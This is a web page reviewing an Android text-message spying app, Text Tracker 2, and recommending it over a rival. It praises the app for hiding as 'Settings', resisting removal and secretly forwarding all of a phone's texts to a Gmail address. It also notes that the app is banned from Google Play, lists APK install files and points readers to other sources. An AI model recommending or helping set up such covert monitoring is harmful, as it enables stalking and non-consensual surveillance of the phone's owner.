Known by the following names: Tex2Utils / Text tracker 2 / Text tracker elite
Review
We compared this app to Secret SMS Replicator by DLP Mobile and found that Text Tracker is the better choice. The version we tested is Text tracker 2, which allowed full conversation monitoring. Both incoming and outgoing text messages from the monitored Android were available.
Another feature that makes this app superior is it is much better hidden. It appears in the Manage Apps screen listed as "Settings." If the phone user clicks on the app they see only the Android settings interface. There is no reason for the user to suspect anything. It even resists being removed.
The most noteworthy shortcoming is that it will only forward to a gmail email address. There is no option to enter a 3rd party pop3 email address. Perhaps this is because the author is concerned about reliability of other email services and how to handle bounces and service unavailable.
Availability
Because the app is banned from Google Play (Android Market) it must be obtained directly from the developer or an alternative source.
Configure
Install File
The following are some of the pkg install files for various version of DevFo's text message spy app for Android.
- text tracker 2.apk
- Text Tracker 2 v2.5.02.1.apk
Support
Resources
AndroLib Applications describes Text tracker, Text tracker 2 and Text tracker elite, all of which have been banned from the Google Android Market (Google Play). These apps are still available from other sources. The original release of the app was called Tex2Utils.